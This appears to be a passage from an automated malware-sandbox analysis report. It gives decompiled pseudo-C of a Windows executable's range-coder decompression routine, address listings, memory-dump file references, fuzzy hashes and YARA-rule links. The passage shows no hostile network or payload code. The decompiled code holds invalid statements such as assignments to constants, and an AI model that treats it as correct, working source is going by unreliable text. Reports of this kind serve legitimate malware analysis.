											goto L80;
										case 0x1b:
											L76:
											__eflags =  *(__ebp - 0x64);
											if( *(__ebp - 0x64) == 0) {
												 *(__ebp - 0x88) = 0x1b;
												goto L170;
											}
											__eax =  *(__ebp - 0x14);
											__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
											__eflags = __eax -  *(__ebp - 0x74);
											if(__eax >=  *(__ebp - 0x74)) {
												__eax = __eax +  *(__ebp - 0x74);
												__eflags = __eax;
											}
											__edx =  *(__ebp - 8);
											__cl =  *(__eax + __edx);
											__eax =  *(__ebp - 0x14);
											 *(__ebp - 0x5c) = __cl;
											 *(__eax + __edx) = __cl;
											__eax = __eax + 1;
											__edx = 0;
											_t275 = __eax %  *(__ebp - 0x74);
											__eax = __eax /  *(__ebp - 0x74);
											__edx = _t275;
											__eax =  *(__ebp - 0x68);
											 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
											 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
											_t284 = __ebp - 0x64;
											 *_t284 =  *(__ebp - 0x64) - 1;
											__eflags =  *_t284;
											 *( *(__ebp - 0x68)) = __cl;
											L80:
											 *(__ebp - 0x14) = __edx;
											goto L81;
										case 0x1c:
											while(1) {
												L124:
												__eflags =  *(__ebp - 0x64);
												if( *(__ebp - 0x64) == 0) {
													break;
												}
												__eax =  *(__ebp - 0x14);
												__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
												__eflags = __eax -  *(__ebp - 0x74);
												if(__eax >=  *(__ebp - 0x74)) {
													__eax = __eax +  *(__ebp - 0x74);
													__eflags = __eax;
												}
												__edx =  *(__ebp - 8);
												__cl =  *(__eax + __edx);
												__eax =  *(__ebp - 0x14);
												 *(__ebp - 0x5c) = __cl;
												 *(__eax + __edx) = __cl;
												__eax = __eax + 1;
												__edx = 0;
												_t415 = __eax %  *(__ebp - 0x74);
												__eax = __eax /  *(__ebp - 0x74);
												__edx = _t415;
												__eax =  *(__ebp - 0x68);
												 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
												 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
												 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
												__eflags =  *(__ebp - 0x30);
												 *( *(__ebp - 0x68)) = __cl;
												 *(__ebp - 0x14) = _t415;
												if( *(__ebp - 0x30) > 0) {
													continue;
												} else {
													L81:
													 *(__ebp - 0x88) = 2;
													goto L1;
												}
											}
											 *(__ebp - 0x88) = 0x1c;
											L170:
											_push(0x22);
											_pop(_t567);
											memcpy( *(_t612 - 0x90), _t612 - 0x88, _t567 << 2);
											_t535 = 0;
											L172:
											return _t535;
									}
								}
								L171:
								_t535 = _t534 | 0xffffffff;
								goto L172;
							}
						}
						__eax =  *(__ebp - 0x50);
						 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
						__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
						__eax =  *(__ebp - 0x58);
						__esi = __edx + __eax;
						 *(__ebp - 0x54) = __esi;
						__ax =  *__esi;
						__edi = __ax & 0x0000ffff;
						__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
						if( *(__ebp - 0xc) >= __ecx) {
							 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
							 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
							__cx = __ax;
							__cx = __ax >> 5;
							__eax = __eax - __ecx;
							__edx = __edx + 1;
							 *__esi = __ax;
							 *(__ebp - 0x50) = __edx;
						} else {
							 *(__ebp - 0x10) = __ecx;
							0x800 = 0x800 - __edi;
							0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
							 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
							 *__esi = __cx;
						}
						if( *(__ebp - 0x10) >= 0x1000000) {
							goto L148;
						} else {
							goto L146;
						}
					}
					goto L1;
				}
			}

0x00000000
0x004065de
0x004065de
0x004065e2
0x00406607
0x00406611
0x00000000
0x004065e4
0x004065e4
0x004065e7
0x004065eb
0x004065ee
0x004065f1
0x004065f5
0x004065f5
0x004065f8
0x004066d2
0x004066d2
0x004066d9
0x004066d9
0x004066dc
0x004066e3
0x00406710
0x00406714
0x00406774
0x00406777
0x0040677c
0x0040677d
0x0040677f
0x00406781
0x00406784
0x00406690
0x00406690
0x00406690
0x00405e2c
0x00405e2c
0x00405e2c
0x00405e35
0x00000000
0x00000000
0x00405e3b
0x00000000
0x00405e46
0x00000000
0x00000000
0x00405e4f
0x00405e52
0x00405e55
0x00405e59
0x00000000
0x00000000
0x00405e5f
0x00405e62
0x00405e64
0x00405e65
0x00405e68
0x00405e6a
0x00405e6b
0x00405e6d
0x00405e70
0x00405e75
0x00405e7a
0x00405e83
0x00405e96
0x00405e99
0x00405ea5
0x00405ecd
0x00405ecf
0x00405edd
0x00405edd
0x00405ee1
0x00000000
0x00000000
0x00000000
0x00000000
0x00405ed1
0x00405ed1
0x00405ed4
0x00405ed5
0x00405ed5
0x00000000
0x00405ed1
0x00405eab
0x00405eb0
0x00405eb0
0x00405eb9
0x00405ec1
0x00405ec4
0x00000000
0x00405eca
0x00405eca
0x00000000
0x00405eca
0x00000000
0x00405ee7
0x00405ee7
0x00405eeb
0x00406797
0x00000000
0x00406797
0x00405ef4
0x00405f04
0x00405f07
0x00405f0a
0x00405f0a
0x00405f0a
0x00405f0d
0x00405f11
0x00000000
0x00000000
0x00405f13
0x00405f19
0x00405f43
0x00405f49
0x00405f50
0x00000000
0x00405f50
0x00405f1f
0x00405f22
0x00405f27
0x00405f27
0x00405f32
0x00405f3a
0x00405f3d
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405f82
0x00405f88
0x00405f8b
0x00405f98
0x00405fa0
0x00000000
0x00000000
0x00405f57
0x00405f57
0x00405f5b
0x004067a6
0x00000000
0x004067a6
0x00405f67
0x00405f72
0x00405f72
0x00405f72
0x00405f75
0x00405f78
0x00405f7b
0x00405f80
0x00000000
0x00000000
0x00000000
0x00000000
0x00406617
0x00406617
0x0040661d
0x00406623
0x00406629
0x00406643
0x00406646
0x0040664c
0x00406657
0x00406657
0x00406659
0x0040662b
0x0040662b
0x0040663a
0x0040663e
0x0040663e
0x00406663
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00406665
0x00406669
0x00406818
0x00000000
0x00406818
0x00406675
0x0040667c
0x00406684
0x00406687
0x0040668a
0x0040668a
0x00000000
0x00000000
0x00405fa8
0x00405faa
0x00405fad
0x0040601e
0x00406021
0x00406024
0x0040602b
0x00406035
0x00000000
0x00406035
0x00405faf
0x00405fb3
0x00405fb6
0x00405fb8
0x00405fbb
0x00405fbe
0x00405fc0
0x00405fc3
0x00405fc5
0x00405fca
0x00405fcd
0x00405fd0
0x00405fd4
0x00405fdb
0x00405fde
0x00405fe5
0x00405fe9
0x00405ff1
0x00405ff1
0x00405ff1
0x00405feb
0x00405feb
0x00405feb
0x00405fe0
0x00405fe0
0x00405fe0
0x00405ff5
0x00405ff8
0x00406016
0x00406018
0x00000000
0x00405ffa
0x00405ffa
0x00405ffd
0x00406000
0x00406003
0x00406005
0x00406005
0x00406005
0x00406008
0x0040600b
0x0040600d
0x0040600e
0x00406011
0x00000000
0x00406011
0x00000000
0x00406247
0x0040624b
0x00406269
0x0040626c
0x00406273
0x00406276
0x00406279
0x0040627c
0x0040627f
0x00406282
0x00406284
0x0040628b
0x0040628c
0x0040628e
0x00406291
0x00406294
0x00406297
0x00406297
0x0040629c
0x00000000
0x0040629c
0x0040624d
0x00406250
0x00406253
0x0040625d
0x00000000
0x00000000
0x004062b1
0x004062b5
0x004062d8
0x004062db
0x004062de
0x004062e8
0x004062b7
0x004062b7
0x004062ba
0x004062bd
0x004062c0
0x004062cd
0x004062d0
0x004062d0
0x00000000
0x00000000
0x004062f4
0x004062f8
0x00000000
0x00000000
0x004062fe
0x00406302
0x00000000
0x00000000
0x00406308
0x0040630a
0x0040630e
0x0040630e
0x00406311
0x00406315
0x00000000
0x00000000
0x00406365
0x00406369
0x00406370
0x00406373
0x00406376
0x00406380
0x00000000
0x00406380
0x0040636b
0x00000000
0x00000000
0x0040638c
0x00406390
0x00406397
0x0040639a
0x0040639d
0x00406392
0x00406392
0x00406392
0x004063a0
0x004063a3
0x004063a6
0x004063a6
0x004063a9
0x004063ac
0x004063af
0x004063af
0x004063b2
0x004063b9
0x004063be
0x00000000
0x00000000
0x0040644c
0x0040644c
0x00406450
0x004067ee
0x00000000
0x004067ee
0x00406456
0x00406459
0x0040645c
0x00406460
0x00406463
0x00406469
0x0040646b
0x0040646b
0x0040646b
0x0040646e
0x00406471
0x00000000
0x00000000
0x00406041
0x00406041
0x00406045
0x004067b2
0x00000000
0x004067b2
0x0040604b
0x0040604e
0x00406051
0x00406055
0x00406058
0x0040605e
0x00406060
0x00406060
0x00406060
0x00406063
0x00406066
0x00406066
0x00406069
0x0040606c
0x00000000
0x00000000
0x00406072
0x00406078
0x00000000
0x00000000
0x0040607e
0x0040607e
0x00406082
0x00406085
0x00406088
0x0040608b
0x0040608e
0x0040608f
0x00406092
0x00406094
0x0040609a
0x0040609d
0x004060a0
0x004060a3
0x004060a6
0x004060a9
0x004060ac
0x004060c8
0x004060cb
0x004060ce
0x004060d1
0x004060d8
0x004060dc
0x004060de
0x004060e2
0x004060ae
0x004060ae
0x004060b2
0x004060ba
0x004060bf
0x004060c1
0x004060c3
0x004060c3
0x004060e5
0x004060ec
0x004060ef
0x00000000
0x004060f5
0x00000000
0x004060f5
0x00000000
0x004060fa
0x004060fa
0x004060fe
0x004067be
0x00000000
0x004067be
0x00406104
0x00406107
0x0040610a
0x0040610e
0x00406111
0x00406117
0x00406119
0x00406119
0x00406119
0x0040611c
0x0040611f
0x0040611f
0x0040611f
0x00406125
0x00000000
0x00000000
0x00406127
0x0040612a
0x0040612d
0x00406130
0x00406133
0x00406136
0x00406139
0x0040613c
0x0040613f
0x00406142
0x00406145
0x0040615d
0x00406160
0x00406163
0x00406166
0x00406166
0x00406169
0x0040616d
0x0040616f
0x00406147
0x00406147
0x0040614f
0x00406154
0x00406156
0x00406158
0x00406158
0x00406172
0x00406179
0x0040617c
0x00000000
0x0040617e
0x00000000
0x0040617e
0x0040617c
0x00406183
0x00406183
0x00406183
0x00406183
0x00000000
0x00000000
0x004061be
0x004061be
0x004061c2
0x004067ca
0x00000000
0x004067ca
0x004061c8
0x004061cb
0x004061ce
0x004061d2
0x004061d5
0x004061db
0x004061dd
0x004061dd
0x004061dd
0x004061e0
0x004061e3
0x004061e3
0x004061e9
0x00406187
0x00406187
0x0040618a
0x00000000
0x0040618a
0x004061eb
0x004061eb
0x004061ee
0x004061f1
0x004061f4
0x004061f7
0x004061fa
0x004061fd
0x00406200
0x00406203
0x00406206
0x00406209
0x00406221
0x00406224
0x00406227
0x0040622a
0x0040622a
0x0040622d
0x00406231
0x00406233
0x0040620b
0x0040620b
0x00406213
0x00406218
0x0040621a
0x0040621c
0x0040621c
0x00406236
0x0040623d
0x00406240
0x00000000
0x00406242
0x00000000
0x00406242
0x00000000
0x004064cf
0x004064cf
0x004064d3
0x004067fa
0x00000000
0x004067fa
0x004064d9
0x004064dc
0x004064df
0x004064e3
0x004064e6
0x004064ec
0x004064ee
0x004064ee
0x004064ee
0x004064f1
0x00000000
0x00000000
0x0040629f
0x0040629f
0x004062a2
0x00406614
0x00406614
0x00000000
0x00000000
0x00000000
0x00000000
0x0040669b
0x0040669f
0x004066bd
0x004066bd
0x004066bd
0x004066c4
0x004066cb
0x00000000
0x004066cb
0x004066a1
0x004066a4
0x004066a7
0x004066aa
0x004066b1
0x00000000
0x00000000
0x0040678c
0x0040678f
0x00406690
0x00406690
0x00000000
0x00000000
0x004063c6
0x004063c8
0x004063cf
0x004063d0
0x004063d2
0x004063d5
0x00000000
0x00000000
0x004063dd
0x004063e0
0x004063e3
0x004063e5
0x004063e7
0x004063e7
0x004063e8
0x004063eb
0x004063f2
0x004063f5
0x00406403
0x00000000
0x00000000
0x00000000
0x00000000
0x004066e8
0x004066e8
0x004066ec
0x00406824
0x00000000
0x00406824
0x004066f2
0x004066f5
0x004066f8
0x004066fc
0x004066ff
0x00406705
0x00406707
0x00406707
0x00406707
0x0040670a
0x0040670d
0x0040670d
0x0040670d
0x0040670d
0x00000000
0x00000000
0x0040640b
0x0040640e
0x00406444
0x00406574
0x00406574
0x00406574
0x00406574
0x00406577
0x00406577
0x0040657a
0x0040657c
0x00406806
0x00000000
0x00406806
0x00406582
0x00406585
0x00000000
0x00000000
0x0040658b
0x0040658f
0x00406592
0x00406592
0x00406592
0x00000000
0x00406592
0x00406410
0x00406412
0x00406414
0x00406416
0x00406419
0x0040641a
0x0040641c
0x0040641e
0x00406421
0x00406424
0x0040643a
0x0040643f
0x00406477
0x00406477
0x0040647b
0x004064a7
0x004064a9
0x004064b0
0x004064b3
0x004064b6
0x004064b6
0x004064bb
0x004064bb
0x004064bd
0x004064c0
0x004064c7
0x004064ca
0x004064f7
0x004064f7
0x004064fa
0x004064fd
0x00406571
0x00406571
0x00406571
0x00000000
0x00406571
0x004064ff
0x00406505
0x00406508
0x0040650b
0x0040650e
0x00406511
0x00406514
0x00406517
0x0040651a
0x0040651d
0x00406520
0x00406539
0x0040653b
0x0040653e
0x0040653f
0x00406542
0x00406544
0x00406547
0x00406549
0x0040654b
0x0040654e
0x00406550
0x00406553
0x00406557
0x00406559
0x00406559
0x0040655a
0x0040655d
0x00406560
0x00406522
0x00406522
0x0040652a
0x0040652f
0x00406531
0x00406534
0x00406534
0x00406563
0x0040656a
0x004064f4
0x004064f4
0x004064f4
0x004064f4
0x00000000
0x0040656c
0x00000000
0x0040656c
0x0040656a
0x0040647d
0x00406480
0x00406482
0x00406485
0x00406488
0x0040648b
0x0040648d
0x00406490
0x00406493
0x00406493
0x00406496
0x00406496
0x00406499
0x004064a0
0x00406474
0x00406474
0x00406474
0x00406474
0x00000000
0x004064a2
0x00000000
0x004064a2
0x004064a0
0x00406426
0x00406429
0x0040642b
0x0040642e
0x00000000
0x00000000
0x0040618d
0x0040618d
0x00406191
0x004067d6
0x00000000
0x004067d6
0x00406197
0x0040619a
0x0040619d
0x004061a0
0x004061a3
0x004061a6
0x004061a9
0x004061ab
0x004061ae
0x004061b1
0x004061b4
0x004061b6
0x004061b6
0x004061b6
0x00000000
0x00000000
0x00406318
0x00406318
0x0040631c
0x004067e2
0x00000000
0x004067e2
0x00406322
0x00406325
0x00406328
0x0040632b
0x0040632d
0x0040632d
0x0040632d
0x00406330
0x00406333
0x00406336
0x00406339
0x0040633c
0x0040633f
0x00406340
0x00406342
0x00406342
0x00406342
0x00406345
0x00406348
0x0040634b
0x0040634e
0x0040634e
0x0040634e
0x00406351
0x00406353
0x00406353
0x00000000
0x00000000
0x00406595
0x00406595
0x00406595
0x00406599
0x00000000
0x00000000
0x0040659f
0x004065a2
0x004065a5
0x004065a8
0x004065aa
0x004065aa
0x004065aa
0x004065ad
0x004065b0
0x004065b3
0x004065b6
0x004065b9
0x004065bc
0x004065bd
0x004065bf
0x004065bf
0x004065bf
0x004065c2
0x004065c5
0x004065c8
0x004065cb
0x004065ce
0x004065d2
0x004065d4
0x004065d7
0x00000000
0x004065d9
0x00406356
0x00406356
0x00000000
0x00406356
0x004065d7
0x0040680c
0x0040682e
0x00406834
0x00406836
0x0040683d
0x0040683f
0x00406846
0x0040684a
0x00000000
0x00405e3b
0x00406843
0x00406843
0x00000000
0x00406843
0x00406690
0x00406716
0x0040671c
0x0040671f
0x00406722
0x00406725
0x00406728
0x0040672b
0x0040672e
0x00406731
0x00406737
0x00406750
0x00406753
0x00406756
0x00406759
0x0040675d
0x0040675f
0x00406760
0x00406763
0x00406739
0x00406739
0x00406741
0x00406746
0x00406748
0x0040674b
0x0040674b
0x0040676d
0x00000000
0x0040676f
0x00000000
0x0040676f
0x0040676d
0x00000000
0x004065e2

Memory Dump Source

Source File: 00000001.00000002.365309590.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.365223611.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365359552.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.365393252.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365500208.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365509002.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.365529662.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b486484d64dd4cde6c37fee08c13c94b86683911648eeb5affe32ba80e56590e
Instruction ID: 736e54d1ea8bc2ffbcc58a3ee687e8f06aed80bce92bf0dad63538ea203c4f31
Opcode Fuzzy Hash: b486484d64dd4cde6c37fee08c13c94b86683911648eeb5affe32ba80e56590e
Instruction Fuzzy Hash: 77913271D00229CBDF28CF98C844BADBBB1FF44305F15816AD856BB281D7789A86DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004062F4, Relevance: 5.2, APIs: 4, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E004062F4() {
				unsigned short _t532;
				signed int _t533;
				void _t534;
				void* _t535;
				signed int _t536;
				signed int _t565;
				signed int _t568;
				signed int _t589;
				signed int* _t606;
				void* _t613;

				L0:
				while(1) {
					L0:
					if( *(_t613 - 0x40) != 0) {
						L89:
						 *((intOrPtr*)(_t613 - 0x80)) = 0x15;
						 *(_t613 - 0x58) =  *(_t613 - 4) + 0xa68;
						L69:
						_t606 =  *(_t613 - 0x58);
						 *(_t613 - 0x84) = 0x12;
						L132:
						 *(_t613 - 0x54) = _t606;
						L133:
						_t532 =  *_t606;
						_t589 = _t532 & 0x0000ffff;
						_t565 = ( *(_t613 - 0x10) >> 0xb) * _t589;
						if( *(_t613 - 0xc) >= _t565) {
							 *(_t613 - 0x10) =  *(_t613 - 0x10) - _t565;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) - _t565;
							 *(_t613 - 0x40) = 1;
							_t533 = _t532 - (_t532 >> 5);
							 *_t606 = _t533;
						} else {
							 *(_t613 - 0x10) = _t565;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
							 *_t606 = (0x800 - _t589 >> 5) + _t532;
						}
						if( *(_t613 - 0x10) >= 0x1000000) {
							L139:
							_t534 =  *(_t613 - 0x84);
							L140:
							 *(_t613 - 0x88) = _t534;
							goto L1;
						} else {
							L137:
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 5;
								goto L170;
							}
							 *(_t613 - 0x10) =  *(_t613 - 0x10) << 8;
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							goto L139;
						}
					} else {
						if( *(__ebp - 0x60) == 0) {
							L171:
							_t536 = _t535 | 0xffffffff;
							L172:
							return _t536;
						}
						__eax = 0;
						_t258 =  *(__ebp - 0x38) - 7 >= 0;
						0 | _t258 = _t258 + _t258 + 9;
						 *(__ebp - 0x38) = _t258 + _t258 + 9;
						L75:
						if( *(__ebp - 0x64) == 0) {
							 *(__ebp - 0x88) = 0x1b;
							L170:
							_t568 = 0x22;
							memcpy( *(_t613 - 0x90), _t613 - 0x88, _t568 << 2);
							_t536 = 0;
							goto L172;
						}
						__eax =  *(__ebp - 0x14);
						__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
						if(__eax >=  *(__ebp - 0x74)) {
							__eax = __eax +  *(__ebp - 0x74);
						}
						__edx =  *(__ebp - 8);
						__cl =  *(__eax + __edx);
						__eax =  *(__ebp - 0x14);
						 *(__ebp - 0x5c) = __cl;
						 *(__eax + __edx) = __cl;
						__eax = __eax + 1;
						__edx = 0;
						_t274 = __eax %  *(__ebp - 0x74);
						__eax = __eax /  *(__ebp - 0x74);
						__edx = _t274;
						__eax =  *(__ebp - 0x68);
						 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
						 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
						_t283 = __ebp - 0x64;
						 *_t283 =  *(__ebp - 0x64) - 1;
						 *( *(__ebp - 0x68)) = __cl;
						L79:
						 *(__ebp - 0x14) = __edx;
						L80:
						 *(__ebp - 0x88) = 2;
					}
					L1:
					_t535 =  *(_t613 - 0x88);
					if(_t535 > 0x1c) {
						goto L171;
					}
					switch( *((intOrPtr*)(_t535 * 4 +  &M0040684B))) {
						case 0:
							if( *(_t613 - 0x6c) == 0) {
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t535 =  *( *(_t613 - 0x70));
							if(_t535 > 0xe1) {
								goto L171;
							}
							_t539 = _t535 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t570);
							_push(9);
							_pop(_t571);
							_t609 = _t539 / _t570;
							_t541 = _t539 % _t570 & 0x000000ff;
							asm("cdq");
							_t604 = _t541 % _t571 & 0x000000ff;
							 *(_t613 - 0x3c) = _t604;
							 *(_t613 - 0x1c) = (1 << _t609) - 1;
							 *((intOrPtr*)(_t613 - 0x18)) = (1 << _t541 / _t571) - 1;
							_t612 = (0x300 << _t604 + _t609) + 0x736;
							if(0x600 ==  *((intOrPtr*)(_t613 - 0x78))) {
								L10:
								if(_t612 == 0) {
									L12:
									 *(_t613 - 0x48) =  *(_t613 - 0x48) & 0x00000000;
									 *(_t613 - 0x40) =  *(_t613 - 0x40) & 0x00000000;
									goto L15;
								} else {
									goto L11;
								}
								do {
									L11:
									_t612 = _t612 - 1;
									 *((short*)( *(_t613 - 4) + _t612 * 2)) = 0x400;
								} while (_t612 != 0);
								goto L12;
							}
							if( *(_t613 - 4) != 0) {
								GlobalFree( *(_t613 - 4));
							}
							_t535 = GlobalAlloc(0x40, 0x600); // executed
							 *(_t613 - 4) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								 *((intOrPtr*)(_t613 - 0x78)) = 0x600;
								goto L10;
							}
						case 1:
							L13:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 1;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							 *(_t613 - 0x40) =  *(_t613 - 0x40) | ( *( *(_t613 - 0x70)) & 0x000000ff) <<  *(_t613 - 0x48) << 0x00000003;
							 *(_t613 - 0x70) =  &(( *(_t613 - 0x70))[1]);
							_t45 = _t613 - 0x48;
							 *_t45 =  *(_t613 - 0x48) + 1;
							__eflags =  *_t45;
							L15:
							if( *(_t613 - 0x48) < 4) {
								goto L13;
							}
							_t547 =  *(_t613 - 0x40);
							if(_t547 ==  *(_t613 - 0x74)) {
								L20:
								 *(_t613 - 0x48) = 5;
								 *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) =  *( *(_t613 - 8) +  *(_t613 - 0x74) - 1) & 0x00000000;
								goto L23;
							}
							 *(_t613 - 0x74) = _t547;
							if( *(_t613 - 8) != 0) {
								GlobalFree( *(_t613 - 8)); // executed
							}
							_t535 = GlobalAlloc(0x40,  *(_t613 - 0x40)); // executed
							 *(_t613 - 8) = _t535;
							if(_t535 == 0) {
								goto L171;
							} else {
								goto L20;
							}
						case 2:
							L24:
							_t554 =  *(_t613 - 0x60) &  *(_t613 - 0x1c);
							 *(_t613 - 0x84) = 6;
							 *(_t613 - 0x4c) = _t554;
							_t606 =  *(_t613 - 4) + (( *(_t613 - 0x38) << 4) + _t554) * 2;
							goto L132;
						case 3:
							L21:
							__eflags =  *(_t613 - 0x6c);
							if( *(_t613 - 0x6c) == 0) {
								 *(_t613 - 0x88) = 3;
								goto L170;
							}
							 *(_t613 - 0x6c) =  *(_t613 - 0x6c) - 1;
							_t67 = _t613 - 0x70;
							 *_t67 =  &(( *(_t613 - 0x70))[1]);
							__eflags =  *_t67;
							 *(_t613 - 0xc) =  *(_t613 - 0xc) << 0x00000008 |  *( *(_t613 - 0x70)) & 0x000000ff;
							L23:
							 *(_t613 - 0x48) =  *(_t613 - 0x48) - 1;
							if( *(_t613 - 0x48) != 0) {
								goto L21;
							}
							goto L24;
						case 4:
							goto L133;
						case 5:
							goto L137;
						case 6:
							__edx = 0;
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x34) = 1;
								 *(__ebp - 0x84) = 7;
								__esi =  *(__ebp - 4) + 0x180 +  *(__ebp - 0x38) * 2;
								goto L132;
							}
							__eax =  *(__ebp - 0x5c) & 0x000000ff;
							__esi =  *(__ebp - 0x60);
							__cl = 8;
							__cl = 8 -  *(__ebp - 0x3c);
							__esi =  *(__ebp - 0x60) &  *(__ebp - 0x18);
							__eax = ( *(__ebp - 0x5c) & 0x000000ff) >> 8;
							__ecx =  *(__ebp - 0x3c);
							__esi = ( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8;
							__ecx =  *(__ebp - 4);
							(( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2;
							__eax = (( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9;
							__eflags =  *(__ebp - 0x38) - 4;
							__eax = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							 *(__ebp - 0x58) = ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8) + ((( *(__ebp - 0x5c) & 0x000000ff) >> 8) + (( *(__ebp - 0x60) &  *(__ebp - 0x18)) << 8)) * 2 << 9) +  *(__ebp - 4) + 0xe6c;
							if( *(__ebp - 0x38) >= 4) {
								__eflags =  *(__ebp - 0x38) - 0xa;
								if( *(__ebp - 0x38) >= 0xa) {
									_t98 = __ebp - 0x38;
									 *_t98 =  *(__ebp - 0x38) - 6;
									__eflags =  *_t98;
								} else {
									 *(__ebp - 0x38) =  *(__ebp - 0x38) - 3;
								}
							} else {
								 *(__ebp - 0x38) = 0;
							}
							__eflags =  *(__ebp - 0x34) - __edx;
							if( *(__ebp - 0x34) == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L61;
							} else {
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__ecx =  *(__ebp - 8);
								__ebx = 0;
								__ebx = 1;
								__al =  *((intOrPtr*)(__eax + __ecx));
								 *(__ebp - 0x5b) =  *((intOrPtr*)(__eax + __ecx));
								goto L41;
							}
						case 7:
							__eflags =  *(__ebp - 0x40) - 1;
							if( *(__ebp - 0x40) != 1) {
								__eax =  *(__ebp - 0x24);
								 *(__ebp - 0x80) = 0x16;
								 *(__ebp - 0x20) =  *(__ebp - 0x24);
								__eax =  *(__ebp - 0x28);
								 *(__ebp - 0x24) =  *(__ebp - 0x28);
								__eax =  *(__ebp - 0x2c);
								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
								__eax = 0;
								__eflags =  *(__ebp - 0x38) - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
								__eax =  *(__ebp - 4);
								__eax =  *(__ebp - 4) + 0x664;
								__eflags = __eax;
								 *(__ebp - 0x58) = __eax;
								goto L69;
							}
							__eax =  *(__ebp - 4);
							__ecx =  *(__ebp - 0x38);
							 *(__ebp - 0x84) = 8;
							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
							goto L132;
						case 8:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xa;
								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
							} else {
								__eax =  *(__ebp - 0x38);
								__ecx =  *(__ebp - 4);
								__eax =  *(__ebp - 0x38) + 0xf;
								 *(__ebp - 0x84) = 9;
								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
							}
							goto L132;
						case 9:
							goto L0;
						case 0xa:
							__eflags =  *(__ebp - 0x40);
							if( *(__ebp - 0x40) != 0) {
								__eax =  *(__ebp - 4);
								__ecx =  *(__ebp - 0x38);
								 *(__ebp - 0x84) = 0xb;
